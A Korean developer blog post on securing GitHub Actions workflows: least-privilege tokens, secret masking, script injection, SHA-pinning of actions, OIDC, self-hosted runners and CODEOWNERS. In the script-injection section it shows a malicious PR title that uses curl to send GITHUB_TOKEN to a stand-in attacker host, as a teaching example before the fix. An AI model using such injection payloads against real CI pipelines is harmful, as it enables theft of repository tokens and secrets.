GitHub Actions를 안전하게 사용하는 방법

GitHub Actions를 안전하게 사용하는 방법

GitHub Actions는 무료로 시작할 수 있고 워크플로우 한두 줄이면 배포까지 굴러가니 정말 편하죠. 그런데 편한 만큼 위험도 가까이에 있는데요. 워크플로우 한 줄을 잘못 쓰면 저장소의 모든 비밀이 외부로 흘러나가거나, 누군가의 PR 제목이 곧바로 러너에서 셸 명령으로 실행되는 일도 일어납니다.

실제로 PR 제목에 백틱과 셸 명령을 끼워 넣어 러너의 환경 변수와 토큰을 탈취한 사례가 종종 보고되고 있고, 인기 액션의 메인 브랜치가 손상되어 수많은 저장소에서 비밀이 유출되는 사고도 잊을 만하면 한 번씩 터집니다. 다행히 깃허브가 정리해 둔 안전 사용 가이드를 따라가면 이런 사고 대부분은 사전에 막을 수 있어요.

이번 글에서는 GitHub Actions 워크플로우를 운영할 때 꼭 챙겨야 할 보안 모범 사례를 정리해 보겠습니다. 토큰 권한 최소화부터 스크립트 인젝션 방지, 서드파티 액션 고정, OIDC 인증, 자체 호스팅 러너의 함정까지 차례대로 살펴볼게요.

보안의 출발점은 최소 권한 원칙

GitHub Actions 보안에서 가장 중요한 원칙은 최소 권한(Least Privilege)입니다. 워크플로우는 자기 일에 필요한 최소한의 권한만 가져야 한다는 뜻이에요.

여기서 가장 먼저 손볼 곳이 GITHUB_TOKEN입니다. 워크플로우가 실행될 때마다 깃허브가 자동으로 발급해 주는 이 토큰은 별도 설정이 없으면 저장소 전반에 대해 폭넓은 권한을 갖는데요. 이걸 그대로 두면 단순한 빌드 잡조차 이슈를 닫고 PR을 머지할 수 있는 상태가 됩니다.

가장 안전한 출발점은 워크플로우 최상단에서 모든 권한을 읽기 전용으로 묶는 것입니다.

.github/workflows/ci.yml
permissions:
  contents: read

jobs:
  test:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v6
      - run: npm test

이 상태에서 PR 댓글이나 GitHub Pages 배포처럼 쓰기 권한이 필요한 작업이 생기면, 그 잡에 한정해서 권한을 더 부여하면 됩니다. 잡 단위로 권한을 다시 선언하면 워크플로우 단위 설정을 덮어쓸 수 있어요.

jobs:
  comment:
    permissions:
      pull-requests: write
    runs-on: ubuntu-latest
    steps:
      - run: gh pr comment ${{ github.event.pull_request.number }} --body "테스트 통과!"

permissions 키워드를 더 깊이 파보고 싶다면 GitHub Actions의 권한 설정 글에서 시나리오별 설정법을 자세히 정리해 두었으니 함께 보시면 좋겠습니다.

시크릿은 “조각”으로 다루세요

비밀 정보를 워크플로우 파일에 평문으로 적는 일은 없으리라 믿지만, 그보다 한 단계 더 들어간 함정이 있어요. 바로 시크릿을 JSON이나 YAML 같은 구조화된 데이터로 묶어서 저장하는 경우입니다.

깃허브는 워크플로우 로그에서 시크릿 값을 자동으로 마스킹해 주는데요. 그런데 이 마스킹은 정확히 등록된 문자열을 기준으로 동작합니다. JSON으로 묶어서 저장한 시크릿은 일부만 출력되거나 파싱 결과만 노출될 때 마스킹이 빗나가버려요.

안전하지 않은 예
{
  "api_key": "abc123",
  "db_password": "secret456"
}

이렇게 두는 대신, 각 값마다 별도의 시크릿을 만드는 편이 안전합니다. API_KEYDB_PASSWORD처럼 개별 등록하면 깃허브의 마스킹 로직이 각각의 값을 추적할 수 있죠.

또 한 가지 자주 놓치는 부분이 시크릿에서 파생된 값입니다. 시크릿으로 서명한 JWT나 Base64 인코딩된 결과도 결국 민감한 데이터인데요. 깃허브는 원본 시크릿만 마스킹하므로, 파생된 값을 사용한다면 ::add-mask:: 명령으로 직접 마스킹을 등록해 줘야 합니다.

- name: 토큰 마스킹
  run: |
    TOKEN=$(generate-jwt)
    echo "::add-mask::$TOKEN"
    echo "TOKEN=$TOKEN" >> $GITHUB_ENV

실수로 시크릿이 로그에 노출되었다면, 자동 마스킹이 빠졌을 가능성이 있다고 보고 즉시 회전(rotate)시키는 것이 정석입니다. 로그에서 지운다고 해서 GitHub API 캐시나 외부에 흘러간 흔적까지 사라지지는 않으니까요. 사후 탐지 측면에서는 GitHub Secret Scanning이 푸시 시점에 토큰 노출을 차단해 주는 든든한 안전망이 되어 줍니다.

가장 무서운 적, 스크립트 인젝션

GitHub Actions 보안에서 단연 눈여겨봐야 할 항목이 스크립트 인젝션입니다. 사용자가 통제할 수 있는 입력값을 셸 스크립트에 그대로 끼워 넣을 때 발생하는데요. 다음 워크플로우는 얼핏 평범해 보이지만 치명적인 취약점을 안고 있습니다.

취약한 예
- name: PR 제목 검사
  run: |
    if [[ "${{ github.event.pull_request.title }}" =~ ^octocat ]]; then
      echo "octocat으로 시작하는 PR입니다"
    fi

PR 제목은 누구나 임의로 작성할 수 있다는 점이 핵심이에요. 공격자가 다음과 같은 제목으로 PR을 올리면 어떻게 될까요?

악성 PR 제목
"; curl https://evil.example.com/$GITHUB_TOKEN; #

${{ ... }} 표현식은 워크플로우 실행 직전에 문자열 그대로 치환되기 때문에, 실제 셸에서는 다음과 같은 명령이 만들어집니다.

if [[ ""; curl https://evil.example.com/$GITHUB_TOKEN; #" =~ ^octocat ]]; then

토큰이 통째로 외부 서버로 빠져나가는 거죠. 식은땀이 흐르네요 😱

이 문제를 막는 가장 깔끔한 방법은 신뢰할 수 없는 입력을 환경 변수로 한 번 감싸는 것입니다.

안전한 예
- name: PR 제목 검사
  env:
    TITLE: ${{ github.event.pull_request.title }}
  run: |
    if [[ "$TITLE" =~ ^octocat ]]; then
      echo "octocat으로 시작하는 PR입니다"
    fi

이렇게 하면 입력값이 셸 스크립트 자체를 만드는 단계에는 끼어들지 못하고, 실행 시점에 환경 변수로만 읽혀 들어갑니다. 셸이 변수를 어떻게 해석하느냐의 영역이 되어버려서 인젝션 공격이 통하지 않아요.

조금 더 견고한 방법은 자바스크립트 액션을 만들어 입력을 인자로 받는 것입니다. 액션 코드에서 core.getInput()으로 받은 값은 셸을 거치지 않으므로 인젝션 위협이 원천적으로 사라집니다.

- uses: my-org/check-title@v1
  with:
    title: ${{ github.event.pull_request.title }}

PR 제목, 이슈 본문, 브랜치 이름, 커밋 메시지처럼 외부에서 제어 가능한 값은 모두 같은 위험을 안고 있다는 점도 기억해 두세요.

서드파티 액션은 SHA로 고정하기

uses: some-org/some-action@v3 같은 표기를 자주 보실 텐데요. 이건 사실상 액션 작성자에게 “원하면 언제든 코드를 바꿔도 된다”는 백지 수표를 주는 것과 같습니다. 태그는 단순한 라벨이라서 작성자가 마음만 먹으면 같은 v3 태그를 새로운 커밋으로 옮길 수 있거든요.

만약 인기 액션의 메인테이너 계정이 탈취되거나 악의적인 PR이 머지되면, 다음 빌드부터 모든 사용자의 비밀이 외부로 흘러나갈 수 있습니다. 실제로 tj-actions/changed-files와 같은 인기 액션이 손상되어 수백 개 저장소의 시크릿이 유출된 사례가 있었어요.

이걸 막는 표준 처방이 완전한 길이의 커밋 SHA로 고정하는 것입니다.

권장: SHA 고정
- uses: actions/checkout@692973e3d937129bcbf40652eb9f2f61becf3332 # v6.0.0
권장하지 않음: 태그만 사용
- uses: actions/checkout@v6

40자짜리 SHA는 사실상 변경할 수 없는 식별자라서, 한번 검증한 코드가 그대로 실행된다는 보장을 줍니다. 깃허브 마켓플레이스의 “검증된 작성자(Verified creator)” 배지가 붙은 액션이라 해도, 운영 환경 워크플로우라면 가능한 한 SHA 고정을 권장합니다.

옆에 # v6.0.0 같은 주석을 달아두면 사람이 읽기에도 편하고, Dependabot이 SHA를 새로운 릴리스로 안전하게 끌어올려 주니 일석이조예요. SHA로 고정해 두어도 Dependabot이 PR을 자동으로 만들어 주기 때문에 “고정 = 영원히 방치”가 아니라는 점을 알아두시면 좋습니다.

OIDC로 장기 비밀 없애기

AWS, GCP, Azure 같은 클라우드에 배포할 때 흔한 패턴이 액세스 키를 통째로 시크릿에 넣어 두는 것이죠. 그런데 이런 장기 자격 증명은 한번 유출되면 회수가 까다롭고, 누가 언제 사용했는지 추적하기도 어렵습니다.

GitHub Actions는 OpenID Connect(OIDC)를 통해 클라우드 공급자에 직접 인증할 수 있는 길을 열어두었는데요. 이 방식을 쓰면 워크플로우가 실행되는 순간에만 유효한 단기 토큰이 발급되고, 작업이 끝나면 바로 만료됩니다.

.github/workflows/deploy.yml
permissions:
  id-token: write
  contents: read

jobs:
  deploy:
    runs-on: ubuntu-latest
    steps:
      - uses: aws-actions/configure-aws-credentials@v4
        with:
          role-to-assume: arn:aws:iam::123456789012:role/GitHubActions
          aws-region: us-east-1
      - run: aws s3 sync ./dist s3://my-bucket

permissionsid-token: write를 추가해야 OIDC 토큰을 발급받을 수 있다는 점이 포인트예요. AWS 쪽에서는 신뢰 정책에 깃허브 OIDC 공급자를 등록하고, 어떤 저장소·브랜치에서 온 요청을 받아줄지 조건을 걸어두면 됩니다.

장기 액세스 키를 시크릿에 두는 일이 사라지므로 키 회전을 신경 쓸 필요도 없고, 키 유출 사고가 일어날 표면적 자체가 좁아집니다. 클라우드 배포 워크플로우가 있다면 OIDC로 옮기는 일에 시간을 들일 가치가 충분해요.

자체 호스팅 러너의 함정

깃허브가 호스팅하는 러너는 잡이 끝날 때마다 가상 머신을 통째로 폐기합니다. 이전 잡의 흔적이 다음 잡으로 새지 않도록 격리되어 있죠. 반면 자체 호스팅 러너는 직접 운영하는 머신이라서 환경이 잡 사이에 그대로 남아 있습니다.

이 차이가 공개 저장소에서는 치명적인 위험이 됩니다. 누구든 PR을 보낼 수 있는 저장소에서 자체 호스팅 러너를 쓰면, 악의적인 PR이 워크플로우를 통해 러너 머신에서 임의 코드를 실행할 수 있어요. 거기다 이전 잡이 남긴 빌드 캐시나 환경 변수까지 들여다볼 수 있다면, 사실상 머신 전체가 적의 손에 떨어진 셈입니다.

깃허브 공식 가이드도 공개 저장소에서는 자체 호스팅 러너를 절대 사용하지 말 것을 못 박고 있습니다. 비공개 저장소에서도 신뢰할 수 있는 협업자만 PR을 보낼 수 있도록 통제해야 안전해요.

자체 호스팅 러너를 꼭 써야 한다면 다음과 같은 조치를 함께 적용하세요. 우선 JIT(Just-in-Time) 러너를 도입하면 한 번의 잡만 실행하고 자동으로 폐기되어 깃허브 호스팅 러너에 가까운 격리 수준을 얻을 수 있습니다. 또 머신 자체에 SSH 키나 클라우드 자격 증명 같은 비밀이 남아 있지 않도록 정리하고, 클라우드 메타데이터 서비스 접근을 차단해 토큰 탈취 경로를 끊어두는 것이 좋습니다.

워크플로우 변경을 감시하기

보안 사고는 종종 워크플로우 파일이 슬그머니 수정되면서 시작됩니다. 누군가 권한을 슬며시 늘리거나, 신뢰할 수 없는 액션을 끼워 넣거나, 시크릿을 외부로 보내는 한 줄을 추가하는 식이죠. 이런 변경은 코드 리뷰에서도 놓치기 쉬운데요.

.github/workflows 디렉터리를 CODEOWNERS에 등록해 두면 워크플로우 파일을 수정하는 PR마다 지정된 검토자의 승인을 강제할 수 있습니다.

.github/CODEOWNERS
.github/workflows/ @my-org/security-team

이 한 줄만 있어도 워크플로우 파일을 건드리는 PR은 보안팀의 리뷰 없이는 머지되지 않아요. 작은 장치지만 공급망 공격을 차단하는 의외로 강력한 방어선이 됩니다.

조직 단위에서 운영 중이라면 감사 로그(audit log)도 정기적으로 들여다보세요. org.update_actions_secret 같은 이벤트로 시크릿이 언제 누구에 의해 변경되었는지 추적할 수 있습니다.

마치며

GitHub Actions 보안의 핵심은 결국 세 가지로 압축됩니다. 첫째, 최소 권한으로 시작해서 필요할 때만 권한을 늘릴 것. 둘째, 외부에서 들어오는 모든 입력은 의심하고 환경 변수로 격리할 것. 셋째, 의존하는 액션은 SHA로 못 박고 정기적으로 갱신할 것.

이 세 가지를 지키는 것만으로도 흔한 공격 벡터의 대부분이 막힙니다. 여기에 OIDC로 장기 자격 증명을 줄이고, 자체 호스팅 러너의 위험을 인지하며, 워크플로우 변경을 코드 리뷰로 통제한다면 운영 환경에서도 안심하고 GitHub Actions를 활용할 수 있을 거예요.

한 단계 더 욕심을 내고 싶다면 OpenSSF Scorecards나 CodeQL의 Actions 워크플로우 스캔을 도입해 자동화된 검증 레이어를 한 겹 덧대 보시기를 추천합니다. 워크플로우가 늘어날수록 사람의 눈으로만 챙기기는 점점 어려워지니까요.

더 자세한 내용은 GitHub Actions 안전 사용 모범 사례 공식 문서를 참고하세요.

This work is licensed under CC BY 4.0 CC BY

개발자를 위한 뉴스레터

달레가 정리한 AI 개발 트렌드와 직접 만든 콘텐츠를 전해드립니다.

Discord